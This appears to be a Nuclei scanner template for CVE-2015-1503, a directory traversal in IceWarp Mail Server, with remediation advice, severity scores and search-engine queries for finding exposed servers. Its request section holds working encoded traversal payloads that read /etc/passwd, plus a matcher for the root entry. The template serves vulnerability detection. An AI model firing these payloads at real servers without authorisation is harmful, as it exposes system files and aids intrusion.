id: CVE-2015-1503

info:
  name: IceWarp Mail Server <11.1.1 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: IceWarp Mail Server versions prior to 11.1.1 suffer from a directory traversal vulnerability.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade IceWarp Mail Server to version 11.1.1 or above to mitigate the directory traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/147505/IceWarp-Mail-Server-Directory-Traversal.html
    - http://www.icewarp.com
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1503
    - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-001/?fid=5614
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1503
    cwe-id: CWE-22
    epss-score: 0.9122
    epss-percentile: 0.99665
    cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: icewarp
    product: mail_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
  tags: cve2015,cve,lfi,mail,packetstorm,icewarp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd"
      - "{{BaseURL}}/webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220706677a6e19713bbf972e5c1f69f45779e897bf7dc4d49b6212ec606be414998022100f7fd281dd2202246cb14adfc13f66cd35d97d98f95a7076c194324707eb93ace:922c64590222798bb761d5b6d8e72950